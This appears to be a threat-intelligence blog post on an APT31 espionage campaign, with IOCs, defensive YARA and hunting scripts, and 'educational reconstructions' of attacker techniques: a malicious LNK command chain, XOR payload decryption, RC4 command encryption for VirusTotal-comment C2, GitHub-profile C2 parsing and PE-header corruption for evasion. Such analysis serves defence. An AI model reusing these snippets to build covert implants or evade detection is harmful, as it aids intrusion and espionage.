"In cyberespionage, there are no friends, only interests."
In November 2025, Positive Technologies published a detailed report revealing that APT31, a Chinese state-sponsored threat actor, had been conducting espionage operations against Russian IT companies for over three years. This post analyzes their findings and provides educational reconstructions of the techniques described.
Methodology Note
This analysis is based on the public report "Judgment Panda: APT31 Today" by Positive Technologies (November 2025), Kaspersky's EastWind campaign research (August 2024), and the US DOJ indictment of APT31 members (March 2024).
Code samples in the "Technical Reconstruction" sections are educational implementations demonstrating the described techniques—not direct reverse engineering of captured samples. They are based on documented behaviors and common malware patterns.
IOCs and file hashes marked as "verified" come directly from cited reports.
Table of Contents
What We Know: Verified Intelligence
This section contains only information directly from published reports and official sources.
Attribution
APT31 (also known as Judgment Panda, Zirconium, Violet Typhoon, Bronze Vinewood) is a Chinese state-sponsored threat actor linked to the Ministry of State Security (MSS), specifically the Hubei State Security Department operating through the front company Wuhan Xiaoruizhi Science and Technology Company (Wuhan XRZ).
This attribution is supported by:
- US Department of Justice indictment (March 2024)
- US Treasury sanctions on Wuhan XRZ (March 2024)
- Multiple independent threat intelligence reports
| Attribute | Detail |
|---|---|
| Origin | People's Republic of China |
| Government Affiliation | Ministry of State Security (MSS) |
| Front Company | Wuhan Xiaoruizhi Science and Technology (Wuhan XRZ) |
| Active Since | ~2010 |
| Primary Targets | Government, defense, technology sectors globally |
Previous operations attributed to APT31:
- 2020: Norwegian and Finnish Parliament attacks
- 2021: Campaign against French organizations (ANSSI reported 161 compromised IPs)
- 2022: Czech Republic Ministry of Foreign Affairs
- 2024: Named in US DOJ indictment
Campaign Timeline
According to Positive Technologies, the campaign against Russian targets followed this timeline:
Late 2022 │ Initial compromise of Russian IT contractor
January 2023 │ Major escalation during New Year holidays
July 2024 │ Kaspersky detects related "EastWind" campaign
December 2024 │ New phishing wave observed
July 2025 │ Positive Technologies begins investigation
November 2025 │ Public report released
Key observations from the report:
- Targets were IT companies serving Russian government agencies (supply chain approach)
- Attackers escalated during holidays when security staffing was reduced
- Persistence maintained for 3+ years before detection
Confirmed Toolset
Positive Technologies identified the following malware families:
| Tool Name | Type | Notable Feature |
|---|---|---|
| CloudyLoader | Loader | DLL side-loading via BugSplat |
| VtChatter | Backdoor | Uses VirusTotal comments as C2 |
| LocalPlugX | Backdoor | Server-mode on ports 53/5355 |
| GrewApacha | RAT | C2 config in GitHub profiles |
| OneDriveDoor | Backdoor | Microsoft OneDrive as C2 |
| CloudSorcerer | Backdoor | Multi-cloud C2 (Yandex, Dropbox) |
| AufTime | Backdoor | Linux targeting, WolfSSL |
| COFFProxy | Loader | Beacon Object File execution |
| YaLeak | Exfiltration | Uploads to Yandex Disk |
Verified IOCs
The following indicators come directly from the Positive Technologies report:
File Hashes (from report)
CloudyLoader:
MD5: e6e73c59eb8be5fa2605b17552179c2f
SHA256: 4f53a5972fca15a04dc9f75f8046325093e9505a67ba90552100f6ad20c98f8b
VtChatter-related files:
SHA256: adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8
SHA256: 90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb
Attacker Infrastructure (from report)
VirusTotal account: [email protected] (created Nov 15, 2022)
GitHub user: Range1992
Repository: scrcpyClone
File System Paths (from report)
C:\Users\Public\Downloads\
C:\ProgramData\Apacha\
C:\ProgramData\NVIDIA\NVIDIADEBUG.dll
C:\Windows\Setup\Scripts\ErrorHandler.cmd
Scheduled Task Names (from report)
YandexDisk_Servers
GoogleUpdater
GoogleRecovery
NVIDIADEBUG
WinDeviceSync
Crashpad_Server
Yandexstart_Server
7zup_Server
DataMAVServer
LAPSClientUp
Cryptographic Constants (from report)
XOR key (CloudyLoader): AB CD 76 A5
RC4 key (VtChatter): "usde-092d"
RC4 key (GrewApacha): 03 07 A0 B0 E3 80 88 77
Markers (GrewApacha): QQNSR4u / ZsNpk7Y
Technical Reconstruction: How These Techniques Work
⚠️ Disclaimer
The code in this section represents educational reconstructions based on described behaviors and standard malware techniques. These are not reverse-engineered from actual APT31 samples.
Initial Access: Malicious LNK Files
APT31 used spear-phishing emails with RAR archives containing malicious LNK (shortcut) files. LNK files can contain embedded commands that execute when the shortcut is opened—attackers abuse this to run PowerShell or cmd.exe commands while displaying a decoy document to avoid suspicion.
:: Example of malicious LNK payload structure
:: This pattern matches the described behavior
"C:\Windows\System32\cmd.exe" /c ^
echo F | xcopy /h /y "%cd%\Docs\Docs" "C:\Users\Public\Downloads\" ^
& start "" "%cd%\Docs\" ^
& ren "C:\Users\Public\Downloads\Document.pdf" payload.exe ^
& ren "C:\Users\Public\Downloads\Library.pdf" malicious.dll ^
& "C:\Users\Public\Downloads\payload.exe"
Breakdown of techniques used:
echo F |automatically answers "File" to xcopy prompts (no user interaction)xcopy /hcopies hidden filesstart ""opens a decoy folder so victim sees legitimate content- Files disguised with
.pdfextension, renamed after copying - Execution from
C:\Users\Public\(writable by any user)
DLL Side-Loading
CloudyLoader abuses a legitimate BugSplat application (signed executable) to load a malicious DLL named BugSplatRc64.dll. This technique exploits how Windows applications load dynamic libraries—when a legitimate signed application looks for a DLL, Windows searches specific directories in order. Attackers place a malicious DLL with the expected name in a location that gets searched before the legitimate one.
Legitimate scenario:
BugSplatApp.exe → loads → C:\Program Files\BugSplat\BugSplatRc64.dll ✓
Attack scenario:
C:\Users\Public\Downloads\
├── BugSplatApp.exe (legitimate, signed)
├── BugSplatRc64.dll (MALICIOUS - loaded first due to search order)
└── try (encrypted payload)
Why it's effective:
- Parent process is signed by trusted vendor
- Inherits trust from legitimate application
- Bypasses application whitelisting
- Many EDR solutions trust signed parent processes
API Hashing for Evasion
CloudyLoader uses dynamic API resolution with custom hashing to avoid static detection. Instead of importing Windows API functions normally (which leaves strings in the binary), the malware computes hashes of function names at runtime and compares against pre-computed values.
"""
Educational example: Common API hashing implementation
This demonstrates the general technique, not APT31's specific algorithm.
Real implementations vary in hash function and seed values.
"""
def simple_api_hash(name: bytes, seed: int = 0) -> int:
"""
Simple rotating hash - educational example.
Real malware uses more complex algorithms to avoid collisions.
"""
h = seed
for byte in name:
h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF # Rotate right 13
h = (h + byte) & 0xFFFFFFFF
return h
def ror(val: int, n: int, width: int = 32) -> int:
"""Rotate right operation - common in hash functions"""
return ((val >> n) | (val << (width - n))) & ((1 << width) - 1)
def rol(val: int, n: int, width: int = 32) -> int:
"""Rotate left operation"""
return ((val << n) | (val >> (width - n))) & ((1 << width) - 1)
# Example: resolving functions at runtime
def resolve_api_by_hash(target_hash: int, dll_exports: dict) -> str:
"""
Searches DLL exports for a function matching the target hash.
This is how malware finds APIs without string references.
"""
for func_name, func_addr in dll_exports.items():
if simple_api_hash(func_name.encode()) == target_hash:
return func_name
return None
Common syscalls resolved this way (for process injection):
# These are the typical low-level functions malware needs
INJECTION_SYSCALLS = [
"NtAllocateVirtualMemory", # Allocate memory in target
"NtWriteVirtualMemory", # Write shellcode
"NtProtectVirtualMemory", # Make memory executable
"NtCreateThreadEx", # Start execution
"NtOpenProcess", # Get process handle
]
XOR Payload Encryption
CloudyLoader's payload file uses XOR encryption with a 4-byte key (AB CD 76 A5). XOR encryption is simple but effective for evading static signatures—each byte is XORed with a repeating key pattern.
"""
Educational example: XOR decryption with repeating key
The key AB CD 76 A5 is from the Positive Technologies report.
"""
def xor_decrypt(data: bytes, key: bytes) -> bytes:
"""
Simple XOR decryption with repeating key.
This is the most common payload obfuscation in malware because:
- Minimal code footprint
- Fast execution
- Defeats basic signature scans
- Easy to implement in any language
"""
result = bytearray()
key_len = len(key)
for i, byte in enumerate(data):
result.append(byte ^ key[i % key_len])
return bytes(result)
# Using the key from the report
CLOUDYLOADER_KEY = bytes([0xAB, 0xCD, 0x76, 0xA5])
def decrypt_cloudyloader_payload(encrypted_data: bytes) -> bytes:
"""Decrypt CloudyLoader payload using reported XOR key"""
return xor_decrypt(encrypted_data, CLOUDYLOADER_KEY)
Multi-stage structure (described in report):
Decrypted payload structure:
├── Stage 1: Small shellcode stub
│ └── Decrypts Stage 2 with second XOR key
├── Stage 2: Reflective loader
│ └── Loads final DLL from memory (no disk touch)
└── Stage 3: Main implant (Cobalt Strike beacon)
Cloud C2: VirusTotal as Command Channel
VtChatter uses VirusTotal file comments as a bidirectional C2 channel. Commands are encrypted with RC4 (key: usde-092d), encoded in Base64, and posted as comments on specific files.
Why this technique is effective:
- VirusTotal is a trusted security service—no organization blocks it
- All traffic is HTTPS to Google-owned infrastructure
- Comments look like random analysis notes
- No attacker-controlled servers to take down
- Free, reliable, global infrastructure
PHASE 1: SETUP
───────────────────────────────────────────────────
Attacker creates VT account: [email protected]
Uploads any file (or picks an existing one)
Saves the file's SHA256 hash
Hardcodes hash + API key into the malware
PHASE 2: SEND COMMAND
───────────────────────────────────────────────────
Attacker wants to run: "whoami"
Encrypts it with double-layer RC4
Encodes result in Base64
Posts as a "comment" on the VT file
What appears on VirusTotal: "SJemLS14Qq2KF4cNVkn/cc5v"
(Looks like random analysis notes)
PHASE 3: MALWARE READS COMMAND
───────────────────────────────────────────────────
VtChatter queries VirusTotal API every 2 hours
Retrieves all comments on the target file
Decrypts any new commands
Executes: whoami
Captures output: "windows-PC\username"
PHASE 4: SEND RESPONSE
───────────────────────────────────────────────────
Malware encrypts the command output
Posts as another comment on the same file
Attacker reads VirusTotal and decrypts response
Here's what the network traffic looks like to defenders—completely innocuous:
GET /api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments HTTP/1.1
Host: www.virustotal.com
x-apikey: [REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
A SOC analyst would see: "Someone's security script is checking file reputation on VirusTotal." Nothing suspicious.
RC4 Decryption Implementation
"""
Educational reconstruction of cloud C2 via comments.
Based on the described behavior in the Positive Technologies report.
The RC4 key "usde-092d" is from the report.
"""
import base64
def rc4_crypt(key: bytes, data: bytes) -> bytes:
"""
Standard RC4 stream cipher.
Used for both encryption and decryption (symmetric).
"""
# Key Scheduling Algorithm (KSA)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# Pseudo-Random Generation Algorithm (PRGA)
i = j = 0
result = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
result.append(byte ^ S[(S[i] + S[j]) % 256])
return bytes(result)
# Key from Positive Technologies report
VTCHATTER_RC4_KEY = b"usde-092d"
def encrypt_command(command: str) -> str:
"""
Encrypt a command for posting to VirusTotal.
Returns Base64 string suitable for a comment.
"""
encrypted = rc4_crypt(VTCHATTER_RC4_KEY, command.encode('utf-8'))
return base64.b64encode(encrypted).decode('ascii')
def decrypt_command(b64_comment: str) -> str:
"""
Decrypt a command from a VirusTotal comment.
"""
encrypted = base64.b64decode(b64_comment)
decrypted = rc4_crypt(VTCHATTER_RC4_KEY, encrypted)
return decrypted.decode('utf-8', errors='ignore')
Operational details from report:
- VT account:
[email protected](created November 2022) - Scheduled to run every 2 hours (API rate limit constraint)
- Single command per execution cycle
Cloud C2: GitHub Profile Beaconing
GrewApacha fetches C2 configuration from GitHub user profiles. The config is Base64-encoded between markers (QQNSR4u / ZsNpk7Y) in the profile bio, then RC4-decrypted with key 03 07 A0 B0 E3 80 88 77.
Why GitHub works as C2:
- Trusted service, unlikely to be blocked
- Attacker can update C2 by editing profile (no malware update needed)
- Looks like a normal developer profile
- Free and reliable
"""
Educational reconstruction of GitHub profile C2.
Markers and RC4 key from Positive Technologies report.
"""
import re
import base64
# From the report
GREWAPACHA_MARKERS = ("QQNSR4u", "ZsNpk7Y")
GREWAPACHA_RC4_KEY = bytes([0x03, 0x07, 0xA0, 0xB0, 0xE3, 0x80, 0x88, 0x77])
def extract_c2_config(profile_page: str) -> dict:
"""
Extract and decrypt C2 config from a GitHub profile.
The config is hidden in the bio between marker strings,
making it look like random text to casual observers.
"""
start_marker, end_marker = GREWAPACHA_MARKERS
# Find encoded data between markers
pattern = f'{start_marker}(.+?){end_marker}'
match = re.search(pattern, profile_page)
if not match:
return None
# Decode and decrypt
encoded_config = match.group(1)
encrypted = base64.b64decode(encoded_config)
decrypted = rc4_crypt(GREWAPACHA_RC4_KEY, encrypted)
# Parse config structure (speculative based on common patterns)
return {
'c2_server': decrypted[0:64].rstrip(b'\x00').decode(),
'port': int.from_bytes(decrypted[64:66], 'little'),
'interval': int.from_bytes(decrypted[66:70], 'little'),
}
# Identified infrastructure from report:
# GitHub user: Range1992
# Repository: scrcpyClone
Keylogger Data Obfuscation
LocalPlugX stores keylogger data in files named ntuser.dat.LOG1 (keystrokes) and ntuser.dat.LOG2 (clipboard), using simple XOR obfuscation. These filenames mimic Windows registry transaction logs that legitimately exist in user profile directories—a clever disguise to avoid casual detection during forensic analysis.
"""
Educational example of keylogger data obfuscation.
The technique of disguising logs as Windows registry files
is common in malware to avoid casual detection.
"""
def obfuscate_keylog(plaintext: str, xor_byte: int = 0x58) -> bytes:
"""
Simple single-byte XOR obfuscation.
This isn't encryption—it's obfuscation to avoid
plaintext strings appearing in forensic analysis.
"""
data = plaintext.encode('utf-16-le') # Windows uses UTF-16
return bytes(b ^ xor_byte for b in data)
def deobfuscate_keylog(obfuscated: bytes, xor_byte: int = 0x58) -> str:
"""Reverse the obfuscation to recover keystrokes"""
deobfuscated = bytes(b ^ xor_byte for b in obfuscated)
return deobfuscated.decode('utf-16-le', errors='ignore')
# File locations from report:
# C:\Users\\ntuser.dat.LOG1 - Keystrokes
# C:\Users\\ntuser.dat.LOG2 - Clipboard
PE Header Manipulation
OneDriveDoor modifies PE magic bytes to evade file type detection. By corrupting the standard MZ and PE signatures, the malware prevents security tools from recognizing executables and stops accidental execution until headers are restored.
"""
Educational example of PE header manipulation.
Malware sometimes modifies standard headers to:
- Evade file type detection
- Prevent accidental execution
- Bypass security tools that check magic bytes
"""
# Standard PE headers
MZ_MAGIC = b'MZ' # DOS header magic (0x5A4D)
PE_MAGIC = b'PE\x00\x00' # PE signature (0x50450000)
# Modified values (from report description)
MODIFIED_MZ = bytes([0x11, 0x22])
MODIFIED_PE = bytes([0x33, 0x44])
def corrupt_pe_headers(pe_data: bytearray) -> bytearray:
"""
Corrupt PE headers to evade detection.
File won't execute until headers are restored.
"""
modified = bytearray(pe_data)
# Corrupt MZ header
if modified[0:2] == MZ_MAGIC:
modified[0:2] = MODIFIED_MZ
# Find and corrupt PE signature
pe_offset = int.from_bytes(modified[0x3C:0x40], 'little')
if modified[pe_offset:pe_offset+2] == b'PE':
modified[pe_offset:pe_offset+2] = MODIFIED_PE
return modified
def restore_pe_headers(corrupted_data: bytearray) -> bytearray:
"""Restore original PE headers for execution"""
restored = bytearray(corrupted_data)
# Restore MZ
if restored[0:2] == MODIFIED_MZ:
restored[0:2] = MZ_MAGIC
# Restore PE
pe_offset = int.from_bytes(restored[0x3C:0x40], 'little')
if restored[pe_offset:pe_offset+2] == MODIFIED_PE:
restored[pe_offset:pe_offset+2] = b'PE'
return restored
Detection and Hunting
The following detection content is based on verified IOCs from the Positive Technologies report.
YARA Rules
/*
* APT31 Detection Rules
* Based on IOCs from Positive Technologies "Judgment Panda" report
*/
rule APT31_CloudyLoader_Indicators {
meta:
description = "Detects APT31 CloudyLoader based on reported constants"
author = "Threat Research"
reference = "Positive Technologies - Judgment Panda Report 2025"
hash = "e6e73c59eb8be5fa2605b17552179c2f"
strings:
// XOR key from report
$xor_key = { AB CD 76 A5 }
// Mutex from report
$mutex = "BugRpt_A85" ascii wide
// DLL name used in side-loading
$dllname = "BugSplatRc64.dll" ascii wide
condition:
uint16(0) == 0x5A4D and
filesize < 10MB and
any of them
}
rule APT31_VtChatter_Indicators {
meta:
description = "Detects VtChatter based on reported indicators"
author = "Threat Research"
strings:
// RC4 key from report
$rc4_key = "usde-092d" ascii wide
// VirusTotal API patterns
$vt_api = "virustotal.com/api" ascii wide nocase
$vt_comments = "/comments" ascii wide
condition:
uint16(0) == 0x5A4D and
($rc4_key or ($vt_api and $vt_comments))
}
rule APT31_LocalPlugX_Indicators {
meta:
description = "Detects LocalPlugX based on reported artifacts"
author = "Threat Research"
strings:
// Named pipes from report
$pipe_x = "\\\\.\\PIPE\\X" ascii wide
$pipe_y = "\\\\.\\PIPE\\Y" ascii wide
// Keylogger files from report
$keylog1 = "ntuser.dat.LOG1" ascii wide
$keylog2 = "ntuser.dat.LOG2" ascii wide
condition:
uint16(0) == 0x5A4D and
(any of ($pipe*) or any of ($keylog*))
}
rule APT31_GrewApacha_Indicators {
meta:
description = "Detects GrewApacha based on reported markers"
author = "Threat Research"
strings:
// C2 config markers from report
$marker_start = "QQNSR4u" ascii wide
$marker_end = "ZsNpk7Y" ascii wide
// RC4 key from report
$rc4_key = { 03 07 A0 B0 E3 80 88 77 }
condition:
uint16(0) == 0x5A4D and
(all of ($marker*) or $rc4_key)
}
rule APT31_OneDriveDoor_Indicators {
meta:
description = "Detects OneDriveDoor based on reported indicators"
author = "Threat Research"
strings:
// Mutex from report
$mutex = "7ijPFUKNV8QRoGVo" ascii wide
// Microsoft Graph API
$graph_api = "graph.microsoft.com" ascii wide nocase
$onedrive = "/me/drive" ascii wide
condition:
uint16(0) == 0x5A4D and
($mutex or ($graph_api and $onedrive))
}
PowerShell Detection Script
<#
.SYNOPSIS
APT31 Indicator Detection Script
.DESCRIPTION
Checks for indicators from the Positive Technologies "Judgment Panda" report.
Run with administrative privileges for full coverage.
#>
Write-Host "============================================" -ForegroundColor Cyan
Write-Host " APT31 Indicator Detection Script" -ForegroundColor Cyan
Write-Host "============================================" -ForegroundColor Cyan
$findings = @()
# Check 1: Known malicious scheduled task names (from report)
Write-Host "[*] Checking scheduled tasks..." -ForegroundColor Yellow
$malicious_tasks = @(
"YandexDisk_Servers",
"GoogleUpdater",
"GoogleRecovery",
"NVIDIADEBUG",
"WinDeviceSync",
"Crashpad_Server",
"Yandexstart_Server",
"7zup_Server",
"DataMAVServer",
"LAPSClientUp"
)
foreach ($taskname in $malicious_tasks) {
$task = Get-ScheduledTask -TaskName $taskname -ErrorAction SilentlyContinue
if ($task) {
Write-Host "[CRITICAL] Malicious task found: $taskname" -ForegroundColor Red
$findings += "Scheduled Task: $taskname"
}
}
# Check 2: Hidden scheduled tasks (no Security Descriptor)
Write-Host "[*] Checking for hidden tasks..." -ForegroundColor Yellow
$taskPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree"
if (Test-Path $taskPath) {
Get-ChildItem $taskPath -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
$sd = (Get-ItemProperty $_.PSPath -Name "SD" -ErrorAction SilentlyContinue).SD
if (-not $sd) {
Write-Host "[WARNING] Hidden task (no SD): $($_.PSChildName)" -ForegroundColor Yellow
$findings += "Hidden Task: $($_.PSChildName)"
}
}
}
# Check 3: Suspicious file paths (from report)
Write-Host "[*] Checking suspicious paths..." -ForegroundColor Yellow
$suspicious_paths = @(
"C:\ProgramData\Apacha",
"C:\ProgramData\NVIDIA\NVIDIADEBUG.dll",
"C:\Windows\Setup\Scripts\ErrorHandler.cmd"
)
foreach ($path in $suspicious_paths) {
if (Test-Path $path) {
Write-Host "[CRITICAL] Suspicious path found: $path" -ForegroundColor Red
$findings += "Path: $path"
}
}
# Check 4: LocalPlugX keylogger files
Get-ChildItem -Path C:\Users -Recurse -Filter "ntuser.dat.LOG*" -ErrorAction SilentlyContinue |
Where-Object { $_.DirectoryName -notmatch "AppData" } |
ForEach-Object {
Write-Host "[CRITICAL] Potential keylogger file: $($_.FullName)" -ForegroundColor Red
$findings += "Keylogger: $($_.FullName)"
}
# Summary
Write-Host "`n============================================" -ForegroundColor Cyan
if ($findings.Count -gt 0) {
Write-Host "[!] $($findings.Count) potential indicators found!" -ForegroundColor Red
} else {
Write-Host "[+] No indicators detected." -ForegroundColor Green
}
Linux Detection Script
#!/bin/bash
#
# APT31 AufTime Detection Script for Linux
# Based on Positive Technologies "Judgment Panda" report
#
echo "============================================"
echo " APT31 AufTime Detection Script"
echo "============================================"
FINDINGS=0
# Check 1: Shared memory indicator (from report)
echo "[*] Checking shared memory..."
if ls -la /dev/shm/ 2>/dev/null | grep -q "shd_mem_SE0v0"; then
echo "[CRITICAL] Found APT31 shared memory: /dev/shm/shd_mem_SE0v0"
((FINDINGS++))
fi
# Check 2: Fake kernel threads
echo "[*] Checking for masquerading processes..."
ps aux 2>/dev/null | grep -E "kworker|migration" | grep -v "\[" | while read line; do
echo "[CRITICAL] Suspicious process mimicking kernel thread:"
echo " $line"
((FINDINGS++))
done
# Check 3: Suspicious 'time' binaries
echo "[*] Checking for suspicious 'time' binaries..."
REAL_TIME=$(which time 2>/dev/null)
find / -name "time" -type f -executable 2>/dev/null | while read binary; do
if [ "$binary" != "$REAL_TIME" ] && [ "$binary" != "/usr/bin/time" ]; then
if file "$binary" 2>/dev/null | grep -q "ELF"; then
echo "[CRITICAL] Suspicious 'time' binary: $binary"
((FINDINGS++))
fi
fi
done
echo "============================================"
if [ $FINDINGS -gt 0 ]; then
echo "[!] $FINDINGS potential indicators found!"
else
echo "[+] No indicators detected."
fi
Indicators of Compromise
File Hashes
CloudyLoader DLL:
MD5: e6e73c59eb8be5fa2605b17552179c2f
SHA256: 4f53a5972fca15a04dc9f75f8046325093e9505a67ba90552100f6ad20c98f8b
VtChatter Target Files:
SHA256: adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8
SHA256: 90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb
Attacker Infrastructure
GitHub: Range1992 / scrcpyClone
VirusTotal: planningmid ([email protected])
Cobalt Strike C2: Moeodincovo[.]com:443
File System Artifacts
C:\Users\Public\Downloads\ (staging directory)
C:\ProgramData\Apacha\ (malware installation)
C:\ProgramData\NVIDIA\NVIDIADEBUG.dll
C:\Windows\Setup\Scripts\ErrorHandler.cmd
Scheduled Tasks
YandexDisk_Servers, GoogleUpdater, GoogleRecovery, NVIDIADEBUG,
WinDeviceSync, Crashpad_Server, Yandexstart_Server, 7zup_Server,
Appvservers, WPDsync, DataMAVServer, LAPSClientUp, PretonDebug
Mutexes and Named Pipes
BugRpt_A85 (CloudyLoader)
7ijPFUKNV8QRoGVo (OneDriveDoor)
\\.\PIPE\X<PID> (LocalPlugX)
\\.\PIPE\Y (PlugY)
Lessons Learned
For Defenders
- Monitor cloud service traffic - Legitimate services (VirusTotal, GitHub, OneDrive, Yandex) can be abused as C2 channels
- Audit scheduled tasks regularly - APT31 uses task names mimicking legitimate software; tasks without Security Descriptors are hidden from GUI
- Detect DLL side-loading - Alert on unsigned DLLs loaded by signed executables, especially from user-writable directories
- Increase holiday coverage - This campaign escalated during New Year holidays when staffing was reduced
- Segment third-party access - IT contractors were the initial targets, providing access to government systems
For Threat Intelligence Teams
- Attribution complexity - China targeting Russia challenges assumptions about threat actor targeting based on geopolitics
- Cloud C2 prevalence - Multiple tools abuse cloud services; this trend will continue as organizations struggle to monitor legitimate service traffic
- Technique sharing - Several tools show code/technique overlap with other Chinese APT groups
For the Industry
This campaign demonstrates:
- Geopolitical alliances don't prevent espionage - Nations spy on allies
- Supply chains remain high-value targets - IT contractors provide access to many organizations
- Attacker creativity outpaces assumptions - Using VirusTotal as C2 exploits trust in security services
References
Primary Sources:
- Positive Technologies - "Judgment Panda: APT31 Today" (November 2025)
- Kaspersky - "EastWind Campaign Analysis" (August 2024)
- US Department of Justice - APT31 Indictment (March 2024)
- US Treasury - Sanctions on Wuhan XRZ (March 2024)
Additional Context:
- MITRE ATT&CK - APT31/Zirconium
- ANSSI (France) - APT31 Campaign Report (2021)
Questions or Feedback?
This article was created for educational and defensive security purposes. Code samples are educational reconstructions demonstrating described techniques.